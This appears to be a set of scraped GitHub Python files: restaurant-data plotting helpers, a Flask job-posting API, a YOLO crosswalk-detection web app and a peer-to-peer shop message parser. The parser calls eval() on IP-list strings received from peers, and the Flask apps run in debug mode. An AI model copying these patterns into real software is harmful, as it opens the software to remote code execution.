Locations:\",df['location'].value_counts().shape[0],\"\\nLocations:\",df['location'].value_counts().keys())\n    print(\"\\n Top 50 Locations with restaurant Counts\")\n    fig, ax = plt.subplots(figsize=(12, 5))\n    ax.bar(location_count.keys()[0:50],location_count.values[0:50]) \n    ax.grid(color='g', linestyle='-', linewidth=.5)\n    ax.set_xlabel('Locations') \n    ax.set_ylabel('Count')\n    plt.title('Top 10 locations with highest number of Restaurants')\n    plt.xticks(rotation=90)\n    plt.show()\n    \n    return \n    \ndef rest_type_listedin(df):\n    '''\n    plots bar graph for counts with unique values in rest_type column\n    \n    '''\n    \n    location_count = df['listed_in(type)'].value_counts()\n    #print(df['listed_in(type)'].value_counts().shape[0])\n    fig, ax = plt.subplots(figsize=(8, 5))\n    ax.bar(location_count.keys()[0:10],location_count.values[0:10]/df.shape[0]) \n    ax.grid(color='g', linestyle='-', linewidth=.5)\n    ax.set_xlabel('Restaurant Types') \n    ax.set_ylabel('Percentage')\n    plt.title('7 Restaurant Types listed on Restaurant \\n and their percentage out of 51,717 Restautrants ')\n    plt.xticks(rotation=90)\n    plt.show()\n    \n    \ndef rest_mixed_type(df):\n    '''\n    plots bar graph for counts with unique values in rest_type column\n    \n    returns:\n    -------\n    (list) unique restaurants as listed by the restaurants\n    \n    '''\n    #Restraunt types are comma separated i.e each restaurant can have multiple restraunt types\n    #finding unique restaurant types\n    unique_rest = {}\n    rest_max_row = {1:0,2:0,3:0}\n    for i in range(51717):\n        if type(df.loc[i]['rest_type']) == str:\n            rest_type =  df.loc[i]['rest_type'].replace(\" \", \"\").lower()\n            list_rest = rest_type.split(',')\n        #print(len(list_rest))\n            rest_max_row[len(list_rest)] += 1\n            for rest_typ in list_rest:\n                if rest_typ not in unique_rest:\n                    unique_rest[rest_typ] = 1\n                else:\n                    unique_rest[rest_typ] +=1 \n    rest_max_row[0] = df['rest_type'].isnull().sum()\n    print(\"types counts: restaurant counts\", rest_max_row)\n    df_rest  = pd.Series(rest_max_row, index=rest_max_row.keys())\n    \n    ax = df_rest.plot(kind='bar', color='green', grid=True, title='Number of Restaurants types listed by Restaurants' )\n    ax.set_xlabel('Restauraunts Labels') \n    ax.set_ylabel('Count')\n    \n    return unique_rest\n\ndef unique_rest_types(df, unique_rest):\n    '''\n    plots bar graph \n    \n    returns:\n    -------\n    (list) unique restaurants as listed by the restaurants\n    \n    '''\n\n    fig, ax = plt.subplots(figsize=(8, 6))\n    ax.bar(unique_rest.keys(),np.array(list(unique_rest.values())))\n    ax.grid(color='g', linestyle='-', linewidth=.5)\n    ax.set_xlabel('Restaurants Type') \n    ax.set_ylabel('Count')\n    plt.title('Restaurant Type listed by Restaurant')\n    plt.xticks(rotation=90)\n    plt.show()\n    \ndef unique_cuisines(df):\n\n    unique_cuisines = {}\n    cuisine_max_row = {1:0,2:0,3:0,4:0,5:0,6:0,7:0,8:0} #stores the maximum number of restaurant types mentioned in the column \"rest_type\"\n    for i in range(51717):\n        if type(df.loc[i]['cuisines']) == str:\n            cuisines_type =  df.loc[i]['cuisines'].replace(\" \", \"\").lower()\n            list_cuisines = cuisines_type.split(',')\n            cuisine_max_row[len(list_cuisines)] += 1\n            for cuisines_typ in list_cuisines:\n                if cuisines_typ not in unique_cuisines:\n                    unique_cuisines[cuisines_typ] = 1\n                else:\n                    unique_cuisines[cuisines_typ] +=1 \n    cuisine_max_row[0] = df['cuisines'].isnull().sum()\n    df_c  = pd.Series(cuisine_max_row, index=cuisine_max_row.keys())\n    \n    ax = df_c.plot(kind='bar', color='green', grid=True, title='Cuisines Count' )\n    ax.set_xlabel('Number of Cuisines listed per Restaurant') \n    ax.set_ylabel('Count')\n    \n    return unique_cuisines\n\ndef unique_cuisines_top30(df,unique_cuisines):\n    \n    cuisines_series  = pd.Series(unique_cuisines, index=unique_cuisines.keys()).sort_values(ascending = False) \n    fig, ax = plt.subplots(figsize=(4, 8))\n    print(\"Total Number of Unique cuisines:\",len(unique_cuisines.keys()))\n    ax.barh(list(cuisines_series.keys())[:30],list(cuisines_series.values[:30]))\n    ax.grid(color='g', linestyle='-', linewidth=.5)\n    ax.set_xlabel('Count') \n    ax.set_ylabel('Cuisines')\n    plt.title('Restaurant Counts for top 30 served cuisines')\n    #plt.xticks(fontsize = 9,rotation=90)\n    plt.show()\n    \ndef unique_cuisines_lowest30(df,unique_cuisines):\n    \n    cuisines_series  = pd.Series(unique_cuisines, index=unique_cuisines.keys()).sort_values(ascending = False) \n    fig, ax = plt.subplots(figsize=(4, 8))\n    #print(\"Total Number of Unique cuisines:\",len(unique_cuisines.keys()))\n    ax.barh(list(cuisines_series.keys())[-30:-1],list(cuisines_series.values[-30:-1]))\n    ax.grid(color='g', linestyle='-', linewidth=.5)\n    ax.set_xlabel('Count') \n    ax.set_ylabel('Cuisines')\n    plt.title('Restaurant counts for lowest 30 served cuisines')\n    #plt.xticks(fontsize = 9,rotation=90)\n    plt.show()\n    ", "repo_name": "shreyasdhuliya/Restaurant-Rating-prediction-onZomato", "sub_path": "visuals.py", "file_name": "visuals.py", "file_ext": "py", "file_size_in_byte": 12202, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pandas.DataFrame", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "numpy.round", "line_number": 151, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 156, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 156, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 175, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 175, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 180, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 180, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 181, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 181, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 182, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 182, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 193, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 193, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 198, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 198, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 199, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 199, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 200, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 200, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 212, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 212, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 217, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 217, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 218, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 218, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 219, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 219, "usage_type": "name"}, {"api_name": "pandas.Series", "line_number": 248, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 266, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 266, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 267, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 271, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 271, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 272, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 272, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 273, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 273, "usage_type": "name"}, {"api_name": "pandas.Series", "line_number": 290, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 300, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 301, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 301, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 307, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 307, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 309, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 309, "usage_type": "name"}, {"api_name": "pandas.Series", "line_number": 313, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 314, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 314, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 320, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 320, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 322, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 322, "usage_type": "name"}]}
{"seq_id": "3829526615", "text": "# Flask\nfrom flask import Flask, request, abort, make_response, jsonify\nfrom flask_restful import Api, Resource, reqparse, fields, marshal\n# Custom modules\nfrom html_processor import JobData\nfrom postgres_handler import PGHandler\nfrom postgres_config import pg_config\n\n\napp = Flask(__name__)\napi = Api(app)\n\n# Define the fields to be yielded during GET requests\njob_fields = {\n    'id': fields.Integer,\n    'url': fields.String,\n    'title': fields.String,\n    'company': fields.String,\n    'location': fields.String,\n    'seniority': fields.String,\n    'employment_type': fields.String,\n    'industries': fields.List(fields.String),\n    'functions': fields.List(fields.String),\n    'posting_text': fields.String,\n    'uri': fields.Url('job')\n}\n\n# Initialize a connection pool to the Postgres database\n# NOTE: Connection parameters must be specified in the .env file\nPGHandler.init_connection_pool()\nprint(\"API is ready to accept requests!\")\n\n\ndef attempt_connection():\n    \"\"\"\n    Attempts to connect to the postgres database if the connection has not been established already\n    \"\"\"\n    if PGHandler.connection_status == False:\n        try:\n            PGHandler.init_connection_pool()\n        except Exception as error:\n            print(str(error))\n            abort(504)\n\n\n@app.route(\"/\")\ndef hello():\n    return \"Hello World from Flask inside Docker!\"\n\n@app.route(\"/jobdataextractor/api/v1.0/checkconnection/\", methods=['GET'])\ndef checkconnect():\n    return \"Current connection status to database is: \" + str(PGHandler.connection_status)\n\n@app.route(\"/jobdataextractor/api/v1.0/tryconnection/\", methods=['GET'])\ndef tryconnect():\n    PGHandler.init_connection_pool()\n    return \"Current connection status to database is: \" + str(PGHandler.connection_status)\n\nclass JobListAPI(Resource):\n    \n    # Validation arguments for '/jobs' endpoint\n    def __init__(self):\n        self.reqparse = reqparse.RequestParser()\n        self.reqparse.add_argument('id', type=int, required=True,\n                                   help='No job id provided',\n                                   location='json')\n        self.reqparse.add_argument('HTML', type=str, required=True,\n                                   help='No HTML provided',\n                                   location='json')\n        super(JobListAPI, self).__init__()\n        \n        \n    def get(self):\n        # Verify connection, exit if failed\n        attempt_connection()\n           \n        # Select data for all jobs (no id passed) from the Postgres database and store to appropriate dict\n        job_list = PGHandler.select_job()\n        \n        if job_list == False:\n            abort(504)\n        elif job_list is None:\n            abort(404)\n        else:\n            return {'job_list': [marshal(job, job_fields) for job in job_list]}, 200\n        \n    \n\n    def post(self):\n        # Verify connection, exit if failed\n        attempt_connection()\n        \n        # Assign the id and HTML received from the Chrome Extension into a JobData object\n        args = self.reqparse.parse_args()\n        job_args = {\n            'id': args['id'],\n            'html': args['HTML']\n        }\n        current_job = JobData(job_input_data=job_args)\n        \n        # Have the JobData object extract the relevant data fields from the raw HTML\n        current_job.extract_job_data()\n        \n        # Commit extracted data to the Postgres database and return HTML code\n        if PGHandler.insert_job(current_job.data):\n            return {'job': marshal(current_job.data, job_fields)}, 201\n        else:\n            abort(409)\n\n\nclass JobAPI(Resource):\n    \n    # Validation arguments for '/jobs/<id>' endpoint\n    def __init__(self):\n        self.reqparse = reqparse.RequestParser()\n        self.reqparse.add_argument('id', type=int, required=True,\n                                   help='No job id provided',\n                                   location='json')\n        #self.reqparse.add_argument('HTML', type=str, location='json')\n        super(JobAPI, self).__init__()    \n        \n        \n    def get(self, id):\n        # Verify connection, exit if failed\n        attempt_connection()\n        \n        # Select data for the specific job id from the Postgres database and store to appropriate dict\n        selected_job = PGHandler.select_job(id)\n        \n        if selected_job == \"Connection Failed\":\n            abort(504)\n        elif selected_job is None:\n            abort(404)\n        else:\n            return {'job': marshal(selected_job, job_fields)}, 200\n        \n        \napi.add_resource(JobListAPI, '/jobdataextractor/api/v1.0/jobs/', endpoint = 'jobs')\napi.add_resource(JobAPI, '/jobdataextractor/api/v1.0/jobs/<int:id>', endpoint = 'job')\n\n\nif __name__ == '__main__':\n    app.run(debug=True)\n\n\n# TODO:\n# Update documentation and push to repo", "repo_name": "shenal-siri/JobDataExtractor", "sub_path": "api_linkedin_extractor.py", "file_name": "api_linkedin_extractor.py", "file_ext": "py", "file_size_in_byte": 4822, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 10, "usage_type": "call"}, {"api_name": "flask_restful.Api", "line_number": 11, "usage_type": "call"}, {"api_name": "flask_restful.fields.Integer", "line_number": 15, "usage_type": "attribute"}, {"api_name": "flask_restful.fields", "line_number": 15, "usage_type": "name"}, {"api_name": "flask_restful.fields.String", "line_number": 16, "usage_type": "attribute"}, {"api_name": "flask_restful.fields", "line_number": 16, "usage_type": "name"}, {"api_name": "flask_restful.fields.String", "line_number": 17, "usage_type": "attribute"}, {"api_name": "flask_restful.fields", "line_number": 17, "usage_type": "name"}, {"api_name": "flask_restful.fields.String", "line_number": 18, "usage_type": "attribute"}, {"api_name": "flask_restful.fields", "line_number": 18, "usage_type": "name"}, {"api_name": "flask_restful.fields.String", "line_number": 19, "usage_type": "attribute"}, {"api_name": "flask_restful.fields", "line_number": 19, "usage_type": "name"}, {"api_name": "flask_restful.fields.String", "line_number": 20, "usage_type": "attribute"}, {"api_name": "flask_restful.fields", "line_number": 20, "usage_type": "name"}, {"api_name": "flask_restful.fields.String", "line_number": 21, "usage_type": "attribute"}, {"api_name": "flask_restful.fields", "line_number": 21, "usage_type": "name"}, {"api_name": "flask_restful.fields.List", "line_number": 22, "usage_type": "call"}, {"api_name": "flask_restful.fields", "line_number": 22, "usage_type": "name"}, {"api_name": "flask_restful.fields.String", "line_number": 22, "usage_type": "attribute"}, {"api_name": "flask_restful.fields.List", "line_number": 23, "usage_type": "call"}, {"api_name": "flask_restful.fields", "line_number": 23, "usage_type": "name"}, {"api_name": "flask_restful.fields.String", "line_number": 23, "usage_type": "attribute"}, {"api_name": "flask_restful.fields.String", "line_number": 24, "usage_type": "attribute"}, {"api_name": "flask_restful.fields", "line_number": 24, "usage_type": "name"}, {"api_name": "flask_restful.fields.Url", "line_number": 25, "usage_type": "call"}, {"api_name": "flask_restful.fields", "line_number": 25, "usage_type": "name"}, {"api_name": "postgres_handler.PGHandler.init_connection_pool", "line_number": 30, "usage_type": "call"}, {"api_name": "postgres_handler.PGHandler", "line_number": 30, "usage_type": "name"}, {"api_name": "postgres_handler.PGHandler.connection_status", "line_number": 38, "usage_type": "attribute"}, {"api_name": "postgres_handler.PGHandler", "line_number": 38, "usage_type": "name"}, {"api_name": "postgres_handler.PGHandler.init_connection_pool", "line_number": 40, "usage_type": "call"}, {"api_name": "postgres_handler.PGHandler", "line_number": 40, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 43, "usage_type": "call"}, {"api_name": "postgres_handler.PGHandler.connection_status", "line_number": 52, "usage_type": "attribute"}, {"api_name": "postgres_handler.PGHandler", "line_number": 52, "usage_type": "name"}, {"api_name": "postgres_handler.PGHandler.init_connection_pool", "line_number": 56, "usage_type": "call"}, {"api_name": "postgres_handler.PGHandler", "line_number": 56, "usage_type": "name"}, {"api_name": "postgres_handler.PGHandler.connection_status", "line_number": 57, "usage_type": "attribute"}, {"api_name": "postgres_handler.PGHandler", "line_number": 57, "usage_type": "name"}, {"api_name": "flask_restful.Resource", "line_number": 59, "usage_type": "name"}, {"api_name": "flask_restful.reqparse.RequestParser", "line_number": 63, "usage_type": "call"}, {"api_name": "flask_restful.reqparse", "line_number": 63, "usage_type": "name"}, {"api_name": "postgres_handler.PGHandler.select_job", "line_number": 78, "usage_type": "call"}, {"api_name": "postgres_handler.PGHandler", "line_number": 78, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 81, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 83, "usage_type": "call"}, {"api_name": "flask_restful.marshal", "line_number": 85, "usage_type": "call"}, {"api_name": "html_processor.JobData", "line_number": 99, "usage_type": "call"}, {"api_name": "postgres_handler.PGHandler.insert_job", "line_number": 105, "usage_type": "call"}, {"api_name": "postgres_handler.PGHandler", "line_number": 105, "usage_type": "name"}, {"api_name": "flask_restful.marshal", "line_number": 106, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 108, "usage_type": "call"}, {"api_name": "flask_restful.Resource", "line_number": 111, "usage_type": "name"}, {"api_name": "flask_restful.reqparse.RequestParser", "line_number": 115, "usage_type": "call"}, {"api_name": "flask_restful.reqparse", "line_number": 115, "usage_type": "name"}, {"api_name": "postgres_handler.PGHandler.select_job", "line_number": 128, "usage_type": "call"}, {"api_name": "postgres_handler.PGHandler", "line_number": 128, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 131, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 133, "usage_type": "call"}, {"api_name": "flask_restful.marshal", "line_number": 135, "usage_type": "call"}]}
{"seq_id": "2099557941", "text": "from flask import Flask, request, render_template\nimport os\nimport cv2 as cv\nimport numpy as np\nfrom werkzeug.utils import secure_filename\n\napp = Flask(__name__)\n\n# folder where the images are stored\nimage_folder = os.path.join('static', 'images')\napp.config['UPLOAD_FOLDER'] = image_folder\n\n@app.route('/')\ndef detect():\n    return render_template('home.html')\n\n@app.route('/detect', methods=['POST'])\ndef detect_post():\n    img = request.files['image']\n    # Extracting uploaded data file name\n    img_filename = secure_filename(img.filename)\n    image = os.path.join(app.config['UPLOAD_FOLDER'], img_filename)\n    result_image = crosswalk_detection(image)\n    IMG_LIST = [image, result_image]\n\n    return render_template('show_image.html', imagelist=IMG_LIST)\n\ndef crosswalk_detection(image):\n    # loading yolo config file and yolo trained model\n    net = cv.dnn.readNetFromDarknet(\"yolo-files\\custom_yolov3_10000.cfg\",\"yolo-files\\custom_yolov3_10000.weights\") \n    # classes for trained model \n    classes = []\n    with open('yolo-files\\classes.names','r') as f:\n        classes = [line.strip() for line in f.readlines()]   \n\n    # image to be detected\n    test_img = cv.imread(image)    \n    height,width,_ = test_img.shape\n\n    # convert the image to yolo format\n    blob = cv.dnn.blobFromImage(test_img, 1/255,(416,416),(0,0,0),swapRB = True,crop= False)\n    net.setInput(blob)\n    last_layer = net.getUnconnectedOutLayersNames()\n    layer_output = net.forward(last_layer)\n\n    boxes =[]\n    confidences = []\n    class_ids = []\n    \n    for output in layer_output:\n        for detection in output:\n            score = detection[5:]\n            class_id = np.argmax(score)\n            confidence = score[class_id]\n            if confidence > 0.6:\n                center_x = int(detection[0] * width)\n                center_y = int(detection[1] * height)\n                w = int(detection[2] * width)\n                h = int(detection[3]* height)\n                \n                x = int(center_x - w/2)\n                y = int(center_y - h/2)\n                \n                boxes.append([x,y,w,h])\n                confidences.append((float(confidence)))\n                class_ids.append(class_id)\n\n    # find the bounding box\n    indexes = cv.dnn.NMSBoxes(boxes,confidences,.6,.4)     \n    font = cv.FONT_HERSHEY_PLAIN \n    if  len(indexes)>0:\n        for i in indexes.flatten():\n            x,y,w,h = boxes[i]\n            label = str(classes[class_ids[i]])\n            confidence = str(round(confidences[i],2))\n            cv.rectangle(test_img,(x,y),(x+w,y+h),(255,0,0),2)\n            cv.putText(test_img,label + \" \" + confidence, (x,y),font,2,(255,255,255),2)   \n\n    # save the resulting image \n    result_path = os.path.join(app.config['UPLOAD_FOLDER'], 'result.jpg')\n    cv.imwrite(result_path, test_img)        \n       \n    return result_path\n\nif __name__ == '__main__':\n    port = int(os.environ.get('PORT', 5000))\n    app.run(debug=True, host='0.0.0.0', port=port)    ", "repo_name": "StefanMihut/Crosswalk-Detection", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 2986, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 15, "usage_type": "call"}, {"api_name": "flask.request.files", "line_number": 19, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 19, "usage_type": "name"}, {"api_name": "werkzeug.utils.secure_filename", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.dnn.readNetFromDarknet", "line_number": 30, "usage_type": "call"}, {"api_name": "cv2.dnn", "line_number": 30, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 37, "usage_type": "call"}, {"api_name": "cv2.dnn.blobFromImage", "line_number": 41, "usage_type": "call"}, {"api_name": "cv2.dnn", "line_number": 41, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 53, "usage_type": "call"}, {"api_name": "cv2.dnn.NMSBoxes", "line_number": 69, "usage_type": "call"}, {"api_name": "cv2.dnn", "line_number": 69, "usage_type": "attribute"}, {"api_name": "cv2.FONT_HERSHEY_PLAIN", "line_number": 70, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 76, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path", "line_number": 80, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 81, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 86, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 86, "usage_type": "attribute"}]}
{"seq_id": "73987787144", "text": "import threading\nimport json\n\nlock = threading.Lock()\n\niplist = set()\n\ndef addtoiplist(ip):\n\tiplist.add(ip)\n\ndef getiplist():\n\treturn iplist\n\ntnxlist = {}\n\ncurrent_tnxid = 0\n\ndef performtnx(name, qty):\n\n\tif name in itemlist.keys():\n\t\tif qty <= itemlist[name]['qty']:\n\t\t\titemlist[name]['qty'] = itemlist[name]['qty'] - qty\n\n\t\t\tif itemlist[name]['qty'] == 0:\n\t\t\t\tdel itemlist[name]\n\t\telse:\n\t\t\treturn False\n\telse:\n\t\tprint(\"Parser Error: Invalid Transaction\")\n\t\treturn False\n\n\treturn True\n\ndef createtnx(name, qty):\n\tglobal current_tnxid\n\t\n\tif performtnx(name, qty):\n\t\tprint(\"Transaction Successful!\")\n\telse:\n\t\tprint(\"Parser Error: Transaction failed!\")\n\t\treturn False\n\n\tcurrent_tnxid = current_tnxid + 1\n\n\ttnxlist[current_tnxid] = {'tnxid':current_tnxid,\n\t\t\t\t\t  'name': name,\n\t\t\t\t\t  'qty': qty}\n\treturn createRequest('ADDTNX', tnxlist[current_tnxid])\n\ndef gettnxlist():\n\treturn tnxlist\n\nitemlist = {}\n\ncurrent_itemid = 0\n\ndef createitem(name, qty, price):\n\tglobal current_itemid\n\tcurrent_itemid = current_itemid + 1\n\n\tif name in itemlist.keys():\n\t\treturn False\n\n\titemlist[name] = {'itemid':current_itemid,\n\t\t\t\t\t  'name': name,\n\t\t\t\t\t  'qty': qty,\n\t\t\t\t\t  'price': price}\n\treturn createRequest('ADDITM', itemlist[name])\n\ndef getitemlist():\n\treturn itemlist\n\n\"\"\" Data is processed as JSON format. \nHEADERs for the data is created over here \"\"\"\n# Item List and Transactions. TNX should cange the amount of qtys in other nodes. TNX to be generated on a buy or a sell\n# {HEAD: \"SNDALL\" | \"SNDTNX\", DATA: {\"txid\" : 123, \"item\" : \"iphone\", \"qty\" : 10,  \"price\" : 1000 }}\n\n# Instructions:\n# parseHeader return val: Parse Result -> True/False, Send To individual thread -> True/False, Data\n# Anything created in the Parser will return as a request\n\ndef createDictonary(HEAD, DATA):\n\tdicti = {}\n\tdicti['HEAD'] = HEAD\n\tdicti['DATA'] = DATA\n\treturn dicti\n\ndef createInitDictonary(HEAD, IPLIST, ITEMLIST):\n\tdicti = {}\n\tdicti['HEAD'] = HEAD\n\tdicti['IPLIST'] = IPLIST\n\tdicti['ITEMLIST'] = ITEMLIST\n\treturn dicti\n\ndef createRequest(HEAD, DATA = {}):\n\n\tif(HEAD == 'INITCN' or HEAD == 'rINITCN'):\n\t\treturn json.dumps(createInitDictonary(HEAD, repr(iplist), itemlist))\n\n\telif((HEAD == 'ADDTNX' or HEAD == 'ADDITM') and DATA):\n\t\treturn json.dumps(createDictonary(HEAD, DATA))\n\n\nclass parser:\n\n\tdef __init__(self, jsonString):\n\t\t# self.jsonString = jsonString\n\t\tself.d = json.loads(jsonString)\n\t\tself.HEAD = self.d['HEAD']\n\n\t\ttry:\n\t\t\tself.DATA = self.d['DATA']\n\t\texcept:\n\t\t\tself.IPLIST = self.d['IPLIST']\n\t\t\tself.ITEMLIST = self.d['ITEMLIST']\n\n\tdef parseHeader(self):\n\n\t\tglobal lock\n\n\t\tif(self.HEAD == 'ADDTNX'):\n\t\t\tglobal current_tnxid\n\t\t\tprint(\"DEBUG: Received ADDTNX Packet\")\n\t\t\t# ADDTNX - ADD a Transaction. Tnx is present in DATA field\n\t\t\t# Place to Modify the Transaction Protocol\n\t\t\tif self.DATA['tnxid'] not in tnxlist.keys():\n\n\t\t\t\tlock.acquire()\n\n\t\t\t\tif performtnx(self.DATA['name'], self.DATA['qty']):\n\n\t\t\t\t\tprint(\"Transaction Successful!\")\n\n\t\t\t\t\tcurrent_tnxid = self.DATA['tnxid']\n\t\t\t\t\ttnxlist[self.DATA['tnxid']] = self.DATA\n\n\t\t\t\t\tlock.release()\n\n\t\t\t\t\treturn True, False, createRequest('ADDTNX',self.DATA)\n\n\t\t\t\telse:\n\t\t\t\t\tprint(\"Parser Error: Transaction failed!\")\n\n\t\t\t\tlock.release()\n\t\t\telse:\n\t\t\t\treturn True, False, None\n\n\t\telif(self.HEAD == 'ADDITM'):\n\t\t\tglobal current_itemid\n\t\t\t# ADDITM - Add Item to ItemList. Item details is present in Data field\n\t\t\t# Rebroadcast ADDITM\n\n\t\t\tif self.DATA['name'] not in itemlist.keys():\n\n\t\t\t\tlock.acquire()\n\n\t\t\t\tcurrent_itemid = self.DATA['itemid']\n\t\t\t\titemlist[self.DATA['name']] = self.DATA\n\n\t\t\t\tlock.release()\n\n\t\t\t\treturn True, False, createRequest('ADDITM', self.DATA)\n\t\t\telse:\n\t\t\t\t# Item Already received\n\t\t\t\tprint(\"Ignore ADDITM\")\n\t\t\t\treturn True, False, None\n\n\t\telif(self.HEAD == 'INITCN'):\n\t\t\t# INIT - New Initial connection. Send the Ip list\n\n\t\t\tlock.acquire()\n\n\t\t\tiplist.update(eval(self.IPLIST))\n\t\t\titemlist.update(self.ITEMLIST)\n\n\t\t\tlock.release()\n\n\t\t\treturn True, True, createRequest('rINITCN')\n\n\t\telif(self.HEAD == 'rINITCN'):\n\t\t\t# rINITIP - reply Initial connection. Receive the IP list and update\n\n\t\t\tlock.acquire()\n\n\t\t\tiplist.update(eval(self.IPLIST))\n\t\t\titemlist.update(self.ITEMLIST)\n\n\t\t\tlock.release()\n\n\t\t\treturn True, False, None\n\n\t\telse:\n\t\t\treturn False, False, None\n\n\n", "repo_name": "BitsonFire/P2P-Shop", "sub_path": "parser.py", "file_name": "parser.py", "file_ext": "py", "file_size_in_byte": 4217, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "threading.Lock", "line_number": 4, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 98, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 101, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 108, "usage_type": "call"}]}
